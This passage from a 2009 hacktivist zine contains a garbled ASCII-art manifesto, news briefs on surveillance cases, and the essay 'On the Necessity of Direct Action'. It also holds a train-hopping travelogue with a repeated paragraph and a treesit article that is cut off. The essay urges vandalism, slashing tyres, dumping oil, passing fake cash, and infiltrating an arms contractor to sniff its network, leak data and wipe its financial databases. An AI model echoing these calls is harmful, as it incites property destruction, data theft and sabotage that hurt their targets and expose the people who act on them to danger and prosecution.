HackThisZine (HTZ) #6 - Lets Smash Windows!

ID: 94346
CVE: None
Download vulnerable application: None
James C. Settle, founder and head of the FBI's National Computer Crime Squad, ha
s said: "I don't think the stuff we are seeing is the stuff we need to be worrie
d about. What that acti vity we do see is indicative of, however, is that we hav
e a really big problem.   ... Something is cooking but no one really knows what.
" The motto of the sigh    t machine reverberates out of Settle's rhetoric: "If 
I can see it, it's alrea     dy dead." At the same time, the opposite-what Settl
e calls "the dark side"-        is out there, plan    ning and scheming. Nomadic
 power has created its ow        n nemesis-its       own image. This brings up t
he possibility that as a          tactic for         exposing the nature of noma
dic power, ECD is already           outda          ted without having ever been 
tried. N    o real "illega                        l" action needs to be taken. F
rom the po            int                        of view of traditional terroris
m, action that                                   can reveal the cruelty of nomad
ic power need only                               exist in hyperreality, that is,
 as activities that m                                       erely indicate a pos
sibility of electronic     Hack This Zine #6:                             disast
er. From this mom          Let's Smash Windows                    ent forward, s
trategies of                                             the hyperreal will have
 to be do                                         wngraded into the real, meanin
g the                                             technocratic class (those with
 the skill to mount a pow                          erful resistance) will have t
o act on behalf of liber                             ation from electronic contr
ol under the nomadic el        ite                      . The reason: They are n
ot going to have a cho      ice. Si         nce           the individuals in thi
s class are the agents    of vulnera        bility           within the realm of
 cyberspace, repressi on in this clas       s will be f        ormidable. Since 
"the dark side" has no image, the poli      ce state will        have no problem
 inscribing it with its own paranoid pr     ojections, thus d      oubling the a
mounts of repression, and pushing the si    tuation into a McCart   hyist frenzy
. To be sure, each technocrat will be pai   d well to sell h/er sovereignty, but
 CAE finds it hard to believe that all will  live happily under the microscope o
f repression and accusation. There will always be a healthy contingent who will 
want to die free rather than live constrained and controlled in a golden prison.

                             .__             .__           .___                   
  ______ _____ _____    _____|  |__  __  _  _|__| ___    __| _/_____  _  _______
 /  ___//     \\__  \  /  ___/  |  \ \ \/ \/ /  |/   \  / __ |/   \ \/ \/ /  __/
 \___ \|  Y Y  \/ __ \_\___ \|   Y  \ \     /|  |  |  \/ /_/ (     )     /\__ \ 
/____  >__|_|  (____  /____  >___|  /  \/\_/ |__|__|  /\____ |\___/ \/\_//___  >
     \/      \/     \/     \/     \/                \/      \/               \/ 

                    HackThisZine Issue #6 - Lets Smash Windows!                
 "To be truly radical is to make hope possible rather than despair convincing"
                   loose lips sink ships - snitches get stiches


                            anti-(c)opyright 2009

you are encouraged to reuse, reword, and reprint everthing in this zine as you 
please. this includes: printing your own copies to distribute to friends and
family, copying and pasting bits of text in your own works, mirroring electronic
copies to websites and file sharing services, or anything else you can think of!

                !! without asking permission or apologizing !!

 [0:0]   TABLE OF DISCONTENTS                                             [0:0]
 [0:0] Intro

 [1:0] Political Articles: Views and Opinionated Articles
   >>>> [1:1] On the Necessity of Direct Action (by Nomenumbra)
   >>>> [1:2] Hacking Freight Trains Part 2 (by Haifleisch)
   >>>> [1:3] Hack This Tree (by frenzy)
   >>>> [1:4] SF Community Colo Project (by ryan)
   >>>> [1:5] Callout for electronic action at the DNC & RNC (by hackbloc)
   >>>> [1:6] 39 Lashes a poem (by Ardeo)
   >>>> [1:7] Tapatio:  RNC 08 Comms Analysis (by CGB)

 [2:0] Hacking/Technology: Articles for Digital Resistance
   >>>> [2:1] Cryptographic Education for the Militant Activist pt1 (Nomenumbra)
   >>>> [2:2] Crabgrass: Non-Corporate Social Networking (by Flatline)
   >>>> [2:3] The PE File format and its Darkside Part 2 (by Nomenumbra)
   >>>> [2:4] Full Disk Encryption Attacks (by hackbloc)
   >>>> [2:5] All Your Facebook Are Belong to Us (by flatline)
   >>>> [2:6] Communications Systems and Technology (by Impact)
   >>>> [2:7] Anonymity with Wireless Networking (by Impact)

                               About This Zine

Here we are with issue six of HackThisZine, it has been a long time since we put
out the last issue and some of you may have thought that we were never going to
come out with this issue, and at points we didn't either, but after much delay 
I can assure you that HackThisZine is indeed not vaporware.

As for those who will hate on us for not having an issue out for over a year, I 
have the following to say to you, if you want it to come out more often then
help out! Send us an article, send us some art, volunteer to help lay out the
zine, volunteer to help translate the zine, volunteer to help print the zine. We
 have lives outside the zine and putting it out isn't easy, or cheap!

We have a really great zine for you this time, we have part 2 of Nomenumbra's
article about the PE file system, we have part too of the Train Hopping article
by Ms. Haifleisch (part one was by Evoltech). We have an article on the
scariness of facebook. We have an article about the Berkeley Tree Sit by our
newest collective member Frenzy who has been helping out a lot around Hackbloc
HQ, everyone give him a warm welcome! I think that this is out best issue yet
and it comes out in a very interesting time, comcast has been ordered to stop
its traffic shaping by the FCC, America is on the eve of electing a new
president, and possibly also on the eve of invading Iran. The RNC and DNC are
only a month away and may have already even happened by the time you read this,
and the government and corporations (does there really need to be an and there?)
are still invading your privacy in newer and more explicit ways. Action is more
important now than it ever has been. We should take pride in the fact that
comcast has been forced to respect net neutrality by the FCC and we should see
that as a significant and inspiring victory and keep taking action untill the
last entity trying to strangle our freedom has been toppled.

We hope that our sixth communique will help you in your struggle.

                                         --The HackBloc Collective

 Stagnant News                                                    News in Brief

MIT Hackers Censored, Harassed by Unconstitutional Court Rulings
Aug 11, 2008: Three MIT hackers Zack Anderson, RJ Ryan, and Alessandra Chiesa 
were sued in federal court and questioned by an FBI agent regarding their
anticipated presentation at the DEFCON 16 conference detailing their research
into the Massachusetts Bay Transit Authority (MBTA) transit cards. Federal Judge
 Douglas P. Woodlock held a special weekend session to grant an injunction
illegally preventing the three from speaking or releasing any details on their
research (despite the fact that their slideshow presentation was already on the
net and the DEFCON CDs being distributed to conference attendees). The students
attempted to notify the MBTA ahead of time to inform them of their
vulnerabilities, but it was likely advertising "free subway rides for life" at a
 conference full of federal agents and white hat corporate sellouts which
prompted the legal harassment. The EFF is representing the students.

Telecommunication Companies granted Retroactive Immunity for Illegal NSA Wiretap
July 9, 2008: Congress passed the FISA Amendment Acts, which in addition to
giving law enforcement broader powers in their warrantless surveillance programs
 also gives Retroactive Immunity to companies who have secretly cooperated with
the NSA in setting up wire taps to monitor the communications of U.S. citizens.
In particular, this bill is intended to drop all the lawsuits that have been
filed against corporations (such as Hepting v. AT&T) for their illegal
surveillance and turning over of private information to the Feds.

Making the immunity ‘retroactive' is essentially admitting guilt that they've
been breaking the law with their unconstitutional monitoring program, and are
now just trying to cover their asses and prevent any sort of open discussion in
court. What is most disturbing about this is not that the President authorized
this secret NSA wiretap program before 9/11 happened, but that the Democrats
have rolled over and approved every single bill the Republicans have been trying
to push, even though they have the majority in Congress.


Internet Archive Successfully Challenges FBI Subpoena
May 7, 2008: The FBI was forced to withdraw a National Security Letter against
the Internet Archive (archive.org) after site founder Brewster Kahle, the EFF
and the ACLU filed a lawsuit challenging the subpoena. The NSL called for a
particular user's private information including name, address, length of service
email header information, and activity logs and also agged the site founder from
discussing the subpoena because it was "relevant to an ongoing, authorized
national security investigation", FBI Asst. Director John Miller commenting on
the case. Site founder Kahle stated, "We see this as an unqualified success ...
the goal here was to help other receipients of NSLs ... understand that you can
push back on these."


Homeland Security Chief Defends Seizing Laptops at Airports Without a Warrant
August 6, 2008: In a Wired.com interview, DHS Chief Michael Chertoff states he
is "concerned about denial-of-service attacks", but apparently is not concerned
about unconstitutional seizures of laptops at airports. If someone is "entering
the country with an encrypted laptop ... and that individual refuses to
cooperate by providing a password ... then the laptop could be seized and
de-encrypted." The interview is revealing of DHS priorities and strategies in
dealing with cybersecurity. In related news, National Cyber Security Center
director Rod Beckstrom spoke at DEFCON 16 calling computer hackers"one of the
greatest threats we face today in cyberspace", making a comparison to Benedict
Arnold, famous traitor during the American Revolution'.


EFF Launches "Coders' Rights Project"
The Electronic Frontier Foundation announced the Coders' Rights Project at the
2008 Blackhat convention. It's stated goal is to work to "protect researchers
through education, legal defense, amicus briefs, and involvement in the
community ... protecting innovation and safeguarding the rights of curious
tinkerers and hackers on the digital frontier". Currently on the project's
website are several papers analyzing the legal aspects of vulnerability research
as well as active cases the EFF is working on.

RiseUp.net Announces "Freedom Summer of Code"
RiseUp.net is calling for proposals for new tech-activist projects as well as
soliciting programmers to help with development.

"Do you want to be compensated for inspiring and meaningful work this summer /
winter? Well, Riseup's Freedom Summer of Code has an amazing list of great ideas
 for you to choose from to work on! If you apply to work on one of the submitted
FSoC project proposals, you could be selected to receive funding for your work
on the project. Take a look and submit your application soon. We will be working
with various radical social justice organizations to determine the best fit and
will announce the winners as soon as that has completed.

To apply to work on a project, first be sure to join the mailing list
https://lists.riseup.net/www/info/fsoc-talk so you can get the latest updates
on the project. Secondly, to apply to work on a proposed project
(https://we.riseup.net/fsoc+proposals), visit the fsoc-coders pages
(https://we.riseup.net/fsoc+coders) and follow the directions there."

 On the Necessity of Direct Action                    by Nomenumbra / [0x00SEC]

We have taller buildings but shorter tempers, wider freeways, but narrower
viewpoints, We buy more, but en- joy less. We have bigger houses, but a smaller
circle of friends. We have more degrees, but less commonsense. More knowledge
but less fair judgement, more experts yet more problems. We've added years to
our lives, without living them, We've done larger yet more meaningless things.
We claim to live in a free world and are assured constantly the world is kept
safe. Yet we are supposed to trade that same freedom for this "security," We
have more strategic alliances, yet less friends. We multiplied our possessions
but reduced our values. We learned how to make a living, but forgot how to make
a life, We paved paradise, and put up a parking lot. We hunted entire species
into near extinction, only to keep the last few in a zoo. We don't make friends,
we cul- tivate "business relations"; Nobel ideals have made place for what is
called common sense, and realism, yet we are still prepared to believe in lies
bigger than the naivety of any ideal, all for the sake of maintaining the status
quo. Cruelty and injustice, intolerance and oppression, do you truly not care or
are you afraid to care? Because, if you don't care about the misery inflicted
upon this world for the gain of the few, aren't you exactly the same kind of
monster you believe the people you hold your prejudices against to be? If you do
 however, why don't you show some care? Are you afraid of the social reaction?
Or are you afraid to see the truth? For the truth is that the extortionists, the
oppressors, the rulers who oppress the masses and squeeze the life out of them
where elected in most cases, or at least accepted. Who elected them? Who
tolerated their rule? Who chose their modern-day Nero or Caligula?

If you're looking for the guilty, you need only look into a mirror, I know why
you did it. I know you were afraid. War, terror, disease, fanaticism, It
corrupted your common sense, your free will. You chose ignorance over truth. You
chose conformism over expression. You chose security over freedom. You were
promised order. You were promised peace. You were promised progress. And all
that was demanded in return was your silent, obedient consent. And they couldn't
be wrong, now could they? After all, they got "democratically" elected. They
stood for progress and peace, your great leaders, your politicians, your
priests, your captains of industry, your gods.

Then why do so many suffer I ask you. Why do so many of these leaders indulge in
blatant over consumerism, while the majority of the world's population barely
has enough food to make it through the day. Why did your gods betray you and the
ideals you believed they stood for? Did it make you, the common man in the
"first world", happier? From the beginning, when man struggled with nature, not
knowing where he might sleep, what he would eat, whether he would survive to see
the light of dawn again, there have always been those who would lord over
others. The People that believe that by some unseen right they are granted power
over oth- ers, and would push others down so that they might climb, are the
greatest threat to mankind's existence. For many years has one man or one race
prospered on the sweat and work of others. With every new leader you hoped for a
better world, a new tomorrow, a golden dawn, you big chance in the play that is
human history. You traded your Pharaohs for Caesars, your Emperors for party
leaders, your kings for captains of industry, hoping for that small glimmer of
freedom, a chance to escape the cycle. But you neglected, you didn't bother, you
assumed that another leader, a replacement would succeed where the former tyrant
had failed. Instead of waking up and realizing that the suppressing nature of
authority, the substitution of autonomy and sovereignty with conformism is what
truly kept you down, you allowed yourself to be cuddled asleep by the soothing
words of the tyrants, after all, this was the best solution no? All other
solutions where just idealism and non-realism, no? For obviously, you must have
everything your heart desires, for what else would one desire but expensive
cars, big houses and fame? That is what you aim for, no?

Let me ask you a question. Do you enjoy your life? Did you wake up today and
wish for tomorrow, a better day where you will appreciated? You don't live, you
just scratch on day to day work, Commute, Sleep, Work, Commute, Sleep, A
seemingly endless, forced cycle of social conformism. All we're waiting for is
something worth waiting for. You learn what you already know, become what you
already are. You waste waste the best 40 years of you life, to afford the last
20 of them, wasting away in some god-forsaken home for the elderly, forgotten by
the society you helped create, ignored by the leaders you brought to power and
neglected by the children you spawned. After all, they are just like you, and
are too busy being self-made people, reaching for the top to care for someone
who's economic usefulness is virtually absent, save for being a consumer,
we're mindless ants, consumers, by products of a commodity fetish. Poverty, war,
injustice, Profit-driven wars, freedom of expression is not what concerns us,
what concerns us are fancy human-interest magazines, television with over 400
channels, luxury cars, cheap and fast takeaway meals, a huge fucking house,
electrically-operated sexual devices, Rolex, KFC, Mercedes, Nike, MTV, Chrysler,
McDonalds', G-star, Dell, Geox, Toyota now THAT concerns us. Love, success,
happiness, art, knowledge and even charities have all become a branded,
force-fed product, bought for no other reason than the inability of the masses
to cope with media-induced consumerist intoxication. 

What else is there to life but this? Nothing, after all, it's all on television,
all right there, look in awe, listen, forget today's misery, kneel, pray for
salvation and hope that one day you will be among the stars and role-models fed
to you trough mass-media, that one day you will be adored, only to mindlessly
indulge in consumerism for no other reason than to radiate an image of social
acceptance. You claim to be comfortable and happy with your rabid consumerism
yet why do you suffer from burn-out and a condition near to existential despair?
For what purpose do you live? To become wealthy or famous? You think you ever
will be? And what if you succeed? Tell me why nowadays people know the price of
everything and the value of nothing.

Every image you watch on that television, every sitcom, every news bulletin is
another second off your life, never to return,wasted in a state of mindless
apathy towards your mortality. Do you know how long you live? Do you realize
that any moment it could end as abruptly and senselessly as it begun, just like
that? Don't you have other things to do? Is your life so fucking empty and
meaningless that you honestly can't think of a better way to spend these moments
than to waste away in solitude and consumerism? Or are you so intoxicated by
social conformism that you adhere to a set of standards ,installed by a social
class you don't belong to, to make you indulge in mindless consumerism for the 
benefit of the elite? Are you so afraid of stigma and social rejec- tion that
you simply ignore the choice to break this cycle? Is the only reason you're
still alive because someone decided to let you stay alive, because you still
have "a job to do" or yet "have to make it" in life? Is the only reason you
continue from day to day because you're waiting for "your moment". Your fucking
15 minutes of fame, your moment of immortal glory. Don't you realize that your
dreams of riches and fame are soap-bells created by the elite to keep you down?
Your American Dream is exactly what it says, a dream. Tell your what, you WON'T
be a popstar, you WON'T be a famous writer, you WON'T be a leading CEO. You'll
probably end up in a fucking small gray cubicle, processing information that is
none of your concern for a fee just enough to stay alive and rent your small
apartment. You'll owe people so much money you aren't broke, but broken. You
won't even be able to afford to pay attention.You'll work on day-to-day, waiting
for that tiny promotion, and when the chance occurs, you'll have to push others
down to climb.You'll have nothing sensible to say, but hey, you can say it in
five fucking languages and are certified to do so as well.Not because you're
incompetent or stupid, but simply because you're waiting for your promotion,
your "chance in life", instead of looking for an alternative to this apathetic
cycle. And after years of waiting, you realize that all you've done, all you've
been, all you've ever wanted to be was a tool, a simple instrument to generate
more profit for the select group of elite, the bourgeois who control the means
of production and squeeze you for every last penny, the group you're dying to
belong to, but will never be part of. The agony caused by this subconscious
knowledge leads to a lot of frustration in this world, to apathy towards true
suffering, like that of the hungry or that of those under repression or in the
middle of a war that is none of their concern.All your life dreams that have
been fed trough television and marketing are just created to keep you subdued as
an underling.Let's stop praying for someone to save us and start saving
ourselves.Let's stop this and start over.You are more than the sum of what you

               YOU ARE NOT YOUR JOB

Break the cycle, don't go for the career of mindless drudgery, express yourself,
reprint, reword, and reuse copyrighted material, shut down major intersections
in the business district, deface billboards, storm execu- tive offices, social
engineer some food and give it out to people on the street, crash political
party conventions, throw paintbombs around in the business district, set up
traps in animal testing labs, cause mayhem at politi- cal congresses,occupy bank
buildings, circulate large amounts of fake cash at McDonalds, spray paint SUVs,
sabotage major economic conferences, dump large amounts of unprocessed oil near
shell executive buildings, Slit tires of cars of major executives, go on an
adbusting spree and give the city back to the citizens, remove corporate
multinational intoxication from everyday life, get hired as a waiter at major
multinational CEO and financial congresses and take the food to the streets and
distribute it among the poor, get hired as a phone call connector in a major
bank and connect every call to the wrong person, get hired as a network
administrator for a major arms contractor, sniff their traffic, make sensitive,
incriminating information public and wipe their financial databases afterwards.
By actions which compel general attention, the notion that they are not
powerless seeps into people's minds and gives them the opportunity to reclaim
their freedom. One such act may, in a few days, wake up more people than
thousands of pamphlets. Think you can't make a difference? Think again. You cook
their meals, haul their trash, write their software, connect their calls, drive
their ambulances, wash their cars, pump their gas, teach their kids operate
their networks and guard them wile they sleep. 

They DEPEND upon you more than both you and they know, more than they WANT you
to know. Once you realize this, your potential, the fact that you don't NEED
those leeches on top, those tyrants, you can work towards freedom, TRUE freedom,
not the bogus freedom- promised by so many. If you don't claim your life to the
fullest you will become a statistic. Do you realize that your life is a precious
gift, given only once like this, that you are spending most of it doing things
that are none of your business? If you where to die tomorrow, what are you going
to do today?Why aren't you doing it already? Afraid you don't fit in? Afraid of
the reaction? 

 Hacking Freight Trains part 2  by Haifleisch

Around sunset we headed out to the Oakland train yard and wandered down past the
bend to where the overpass comes down to meet the ground. Evoltech insisted we
sit down against a pillar and rest because our bags were dragging us down. We
didn't see a train for hours so eventually we pulled out our blanket and fell

I jolted awake to him jumping up and pulling the blanket off of me a train...
flatcars. Not our first choice, actually the one I specifically didn't want to
take; too exposed and nowhere to sleep, but, when a decent looking 48 came into
sight, we grabbed our packs and ran for it. Delirious from being awakened from a
deep sleep, I ran along side the car and grabbed the handles on either side of
the ladder, and then looked down. The first ladder step was high, requiring a
leap. It was hard to navigate while the train was moving. I could see myself
missing the step, my lower body swinging under where the wheel was ready to take
off my foot. I panicked and let go.

"I couldn't do it", I said, my heart racing. I was ready to try again, but there
were no more rideable cars. The train passed and we went back to our spot
feeling like we might have a chance of catching out that night. That was our
first train in the right direction and it was 2 in the morning. A few minutes
later an auto consist passed, but there's nowhere to ride an auto consist. We
sat back down and fell immediately back to sleep, but lighter. An hour later we
woke up to the scanner chirping, "HERE WE GO!"

When another train came along Evoltech called it in on the UP tracking number.
It was our hot shot to Ill. He ran to catch the train, and stepped up onto the
tracks at the same time I spotted a train coming the opposite direction towards
us. They are amazingly quiet until they are right on top of you. I grabbed him
right before he stepped out in front of it. We waited anxiously for it to pass,
watching our train creep along on the other side. Thankfully the other train was
a short one and once it passed we ran for ours. This train was moving very
slowly,making it easy to catch. We waited for an inter-modal car with a decent
sized platform that was blocked from the wind. Once we found the car we wanted
we realized the train was stopping, then we noticed the headlights of a yard
workers 4 wheeler. Luckily, right in front of our car was a pillar with a bush
on the other side which gave us perfect cover. We inched around, hiding from the
4 wheeler as it drove past. 

The train sat for a long time. We sat between the bush and the pillar eating
dried mangoes and watching peeper frogs. Evoltech had found a inter-modal 48
that had a solid drop in the bottom so we could lie down, avoid being seen, and
not have to hold on for dear life.

Around sunrise we started to wonder if our train was ever going to leave. Then
we heard the brakes release. The sound of the trains are far less distinct then
the books [1] we read suggested. Evoltech shot me a mischievous grin and we
hopped on. We waited for the train to clear the Am-track station, and then made
ourselves a cozy bed and curled up and fell fast asleep.

We woke up around noon and spent a few miserable hours pressed into a half foot
of shade on one wall of the train car, trying to escape the blazing afternoon
sun, while the train picked up more cars in Sacramento. Later that day we rode
through Donner Pass. Evoltech and I stood at the edge of the car wishing that we
could jump in the water of the river below. I was so thirsty and knew our water
would be gone soon. I remembered hearing they were hard on hobos in Reno, NV,
and knew that it might be our next stop and only chance to get water for a
while. While riding a locomotive the noise is deafening. It surrounds you,
vibrating through your body. The train feels like some giant ancient beast that
the railroads have managed to tentatively wrangle.

Sleeping at night was not easy. We layered up early but it was not enough. Every
part of our bodies that touched the train was chilled and wouldn't warm up. The 
previous tenant of the car had left a plastic tomato box which we used to pee
in. Last night that box made its way around the car squeezing in between us and
once nestling by my head. Coming through the mountains that night every inch of
the sky was lit by stars.

Somewhere in the middle of the night I woke up to the cars crashing together
violently and then felt the train moving as if it had no breaks. I wondered if
we were in a humping yard. In a humping yard trains are taken apart and
reconnected, guided down sloping tracks, joining the car in front of them by
slamming the connectors of the two cars together. It isn't a safe place to be on
a car to say the least. Fortunately we weren't a hump yard and the yard workers
were just breaking off a few cars.

Somehow we slept through Reno and woke around sunrise, when the train stopped in
Elko. With only a half liter of water left, we threw our packs over and started
looking for a spigot. We found one in front of a Swan's Ice Cream office. We
filled our water bottles and ran back to the train, but we were too late and it
pulled out seconds before we reached it.

We decided to walk to a store and get a few gallon jugs of water. The first
place we came across was a trailer park / casino with a store. We bought water
and asked the counter woman questions about Elko She and the older man were very
friendly. She even offered us a complementary breakfast that was for guests
only. It was our first time off the train and we had been rolling in soot and
dirt for what felt like days. We stuck out like sore thumbs in Elko. We got
Popsicles and gobbled down the free doughnuts and headed back down to the tracks
to wait for our train.

The only tree any where near the track was still to far from where the train
stopped so we found a sage bush about three feet high and curled in the tiny
patch of shade beneath it. We tried rigging up Evoltech's wool blanket to create
more shade but it was just as miserable, laying in the pokey brush in a 105
degree weather  with ants and horseflies attacking us. We hadn't seen a train in
a while and I was melting. Evoltech wanted to  stay put. I grew more and more
aggravated by the heat. Then a train came our way and we charged through  the
sage brush. I jumped on a grainer barely holding on with one arm until Evoltech
yelled "no platform, no  platform!" I jumped backwards off the ladder and my
pack threw me sideways and onto my elbows on the  rocks, scoring myself some
mean road rash.

Then the train stopped. We picked out a grainer and ducked back. Evoltech
listened to the scanner and deter-  mined that they were breaking the train up.
We got off and sat down in the bushes. I was starting to get heat  stroke. We
went back into town, to a super market where everyone stared at us. Evoltech
would say "hello,  how are you" and they would break their silent shock into a
cordial smile. "Fine how are you?".

I was so heat exhausted that we ended up catching a bus to Salt Lake City. In
SLC we spent the day with my  brother. The next morning we woke up extra early
and he drove us back to the tracks not far from the grey-  hound station. We
found a area under the over-pass between three lines where it looked like the
trains were  slowing down and waited there for hours, missing train after train
because they were going too fast. A slightly off-his-rocker and down-on-his-luck
dude came by and chatted us up for a while. He tried to offer us help, a  place
to stay, a possible job, even insisted Evoltech take 3 dollars. Then a UP
officer came along and gave us  the friendliest warning to move along we've ever
had... Mormons. We decided it was time to leave and walked  down town. We spent
the three dollars earned on ice cream and saw the pirates of the Caribbean at
the nearest air conditioned mall.  

Back down at the tracks later that night things looked a little more promising.
We found a spot closer to the  yard. A group of hobos was already there and they
were friendly so we sat down. One was a gutter punk our age from MN and the
other two, Willy and Mortikai, were seasoned hobos in their 30's.

Willy and Mortikai passed on the train to California, because it was bound for
Colton. Apparently the Colton  yard is notoriously hellish. The two of them had
been traveling together for three weeks. They were an odd  couple. Willy was an
Okie, blond and lanky, who obviously grew up riding the trains. Mortikai was the
same age but big and loud; an aged hobo punk with the usual I've-been-punk-as
fuck-since-I-was-born-stories- but  good ones. He had recently been released
from jail for extreme eco-activism. The two of them knew every  train hopper and
crust punker there was. Mortikai's dog, Pascal, was also along for the ride.
Mortikai was still  recovering from a twisted ankle so they were only catching
stopped trains. They worked as a team; Willy would  scout out a good car, then
Mortikai would pass up Pascal and climb on. They had a hobo story for every part
of the country. This was supposed to be Mortikai's retirement run.  

We admitted this was our first time out. There was no fooling them anyways. They
laughed at our scanner and  calling in the trains on a cell phone. Mortikai said
he was going to write a song about Evoltech. Mortikai told  us about his one
true love (not Shakira, who he was infatuated with at the moment), but a member
of an all  female train hopping gang. 6 years ago on a rainy night he gave her a
hand up on a freight car and her grip  slipped. She was pulled under the wheel
and died. "Man I loved that woman", he said. 

We admitted this was our first time out. There was no fooling them anyways. They
laughed at our scanner and  calling in the trains on a cell phone. Mortikai said
he was going to write a song about Evoltech. Mortikai told  us about his one
true love (not Shakira, who he was infatuated with at the moment), but a member
of an all  female train hopping gang. 6 years ago on a rainy night he gave her a
hand up on a freight car and her grip  slipped. She was pulled under the wheel
and died. "Man I loved that woman", he said.

Willy chimed in here and there with songs and anecdotes. After they missed an
especially promising train Willy  was visibly distressed. "I need the therapy, I
need to get gone, be on a train for a couple of days", he said.  You could tell
they had been spending every hour of every day together and now were as thick as
Laurel and  Hardy. Mortikai told us to drop his name if we came across other
hobos, and warned us of some of the violent  hobo gangs on the northern route.
We all laughed a lot and said good bye and missed our train several times.

Not ten minutes after they left to go sleep in a field, we crossed the road like
they suggested, just in time to  catch our train. This time I hopped on before
Evoltech even knew what was happening. Evoltech was surprised.  That night was
the most uncomfortable, freezing cold. Without cardboard to lay on my hips got
even more  bruised from laying on the train floor.

We woke up the next day in Wyoming. Wyoming started off hot, dry, and dull. By
dusk the air had cooled and we were driving through pale green plains and
terracotta red rock outcroppings. They were stacked like haphazard dinner
plates, jutting suddenly out of the mild landscape making  a surreal movie set
quality. A few farm houses sat on the plains with red  rock piles dropped
straight from mars in their back yard. It was the first  sunset of the trip that
I remember. Blue and pink like bubble gum ice cream.

We were dangerously low on water and planned on getting off in Cheyenne to get
more and try to catch another train into Saint Louis to visit  The Priest. We
fell asleep though and woke up in the Cheyenne station with giant station houses
 like Disneyland castles, flying Union Pacific  flags directly on either side of
us. No way to get out there. I tried to  nudge Evoltech awake but he wasn't
budging. The train picked up suddenly and I watched Cheyenne disappear fast.  

All night long the water bottle had been leaking and gathering in the back seam
of the car, soaking the backpacks and the both of us as we  slept. Fortunately
this was a faster train then our last one and we had  already gone through half
of Nebraska before we woke up again.

I looked over the side as our train pulled up to the stop and saw that  we were
parked near the end of a yard and there were corn fields on  one side, and what
looked like a good size town on the other. The train  felt like it was breaking
up so I woke Evoltech up and told him this was  our chance. We scrambled to get
our gear together, hopped out and  headed for the corn fields where we stripped
off most our night-layers and headed into town. 

We stopped at Bob's Super Store to pick up stronger water bottles- two 2 liter
soda bottles to be refilled. An  old woman stopped us in the juice isle and
asked us how we were doing. "Are y'all in a band? Are you actors  or something",
we told her we were riding freight trains. She asked us why and we replied "just
for fun". She  reached out and patted my arm. I could tell she was really
curious about us. "Well you kids have a safe trip  now.", she smiled. Everyone
in the store seemed to be over 60 and they would stop in their tracks when they
saw us, looking confused and upset. There is something wrong with a country like
America, where everyone  has access to media, music, movies but still act with
fear and disgust when they see someone who is differ-  ent. Evoltech walked
passed a table of old men staring at us, whom he overheard say "Well at least
they're not niggers".  

We stopped to clean up in the bathroom of a Subway restaurant. The "sandwich
artist" was friendly and curious. We had the place to ourselves. We filled our
water jugs and left dirt rings around the sink from cleaning up.

Later down by the tracks We found a perfect shady under-pass with trees in front
of a row of cars. We sat on  what must have been an ant hill for hours with
every train racing past, avoiding the stares of cowboys driving  by. Evoltech
was becoming more and more anxious. The sun was starting to set, sherbet orange.
A good look-  ing consist train eventually came out way. Not the coal cars we
had been seeing all day but a whole consist of  grainers. We grabbed our bags
and ran for it, unbelieving, and it slowed! I ran up the raised rocks, grabbed
the handles, and jumped up. Evoltech came up after me and we ducked back into
the grainer. It chugged along  for a bout a minute and stopped right along the
cars that we got off the night before. We felt the first jolt of a  hump and
decided to get off and wait. Then we saw someone coming along the tracks. A
worker checking the  cars. We ducked behind some nearby horse trailers until he

I chased lightning bugs as Evoltech jumped into an inter-modal 48 that had just
been joined on and gestured  to me to join him. At the same time I saw the
worker heading back down the tracks, a silhouette in a tall  cowboy hat. I tried
to motion as I dove into the tall grass nearby, keeping as still as possible.
Two cars down  from where Evoltech was hiding he climbed up and looked inside
with his flashlight, then kept walking down  the line looking over his shoulder.
When he came back up I waited for the sound of his radio to pass and saw 
Evoltech standing up in the car. I gestured for him to get out and hide with me
in the grass. We ducked down,  getting eaten alive by mosquitoes. The worker
walked back down the line a third time. This time the cars rolled  forward and
he was perched like a cowboy masthead on the last car. We ran down the line,
picked a grainer,  and climbed in. We laid there trying to steer clear of the
perfectly hand-sized holes just over the wheels.  

When we woke up we were in a yard where our train was being broken up. The
shudders were violent. On either side of us were at least three more rows of
trains. We were in a hump yard. We couldn't risk walking  down the line. There
was no way of telling where we were in the yard, so we decided to carefully
climb over  the cars and walk out sideways, something we had been advised
against for safety. We chose a direction and  ended up climbing over 5 or 6 rows
of trains before we found a break. Then we were in front of a station filled 
with trucks and parts. We walked down the line avoiding as many trucks as
possible, but one passed us. He  must have been just a worker coming and going
because he didn't seem to care at all.  We got out of the yard through a field,
passing a No Trespassing sign and on to safety. Looking at our UP maps  We
figured out that we were in Council Bluffs, IA. We walked into town and a short
while later a bus came that  dropped us off about three blocks from the
Greyhound station. Crazy luck. 

And the train hopping part of the trip ended there. We spent a completely
miserable 38 hours on Greyhound to the east coast for HOPE 6. The rest is a
story for another time, another adventure, maybe another article to be written.

[1] Hopping Freight Trains in America by Duffy Littlejohn

 Hack This Tree: How a Treesit, Some Grandmothers and 
 Native Remains Could Bring Down a University                         by Frenzy

A Treesit, for those unfamiliar with the concept, is the act of occupying a tree
for a political end. The first urban treesit  has been going on in Berkeley for
a total of 470 days (as of  March 15th 2008). The action has attracted lots of
media atten-  tion; many have seen the sit on local and international news.

UC Berkeley and it's relationship with the community of Berkeley has not been
good since the fight for people's park.  The university with a lot of political
and economic pow-  er, is able to run image campaigns on a daily basis. A shift
in  the student body and a increase of apathy at the campus has also contributed
to the university's ability to restructure itself from a free speech university
to a restricted speech area.

This particular treesit grew out of a general distaste from the community of the
practices of the UC, such as  the constant harassment of activists at people's
park and the continuing of nuclear weapons development. The  university decided
to start laying plans to cut down most of the live oak trees in the Memorial Oak
Grove, near  Memorial Stadium and build a multi-million dollar sports training
facility. Activist took to the trees to stop this  plan in December of 2006 and
have been there ever since. A few of the absurdities of the proposed area for
the  building is that it is directly on the Hayward earthquake fault, some of
the oaks they want to cut were planted in  memory of bay area soldiers who died
in world war I and the site is also a suspected Native American burial ground.  

After about 6 months of free ability to resupply those up in the trees, The
University erected a 7 foot tall  fence to keep people away from the grove,
shortly after they erected another fence outside that one, com-  plete with
barbed wire. Both fences cost an estimated $90,000 of university money, $10,000-
$12,000 for  the first, and about $80,000 for the second. Resupply actions have
been going on with limited problems, even with the fences, a group called
"Grandmothers for The Oaks" has been helping a lot with the process.

One of the most recent developments has been the move of a treesitter to the
middle of campus to highlight the problems with The University. What started
as a simple banner drop with the intention of leaving  resulted in a full-scale
treesit along with a police barricade around the tree. The Police have prevented
food  and water from going up into the tree in total 5 people were arrested for
throwing water to the sit. The protester, going by the name "Fresh" came down on
March 14th, he was cited for illegal lodging and released. This recent action
has a lot of students who were ignoring the oak grove sit to be more involved
and active.  

Since December 2006 when the Treesit started the University has signed a billion
dollar contract with British Petroleum in the largest corporate and public
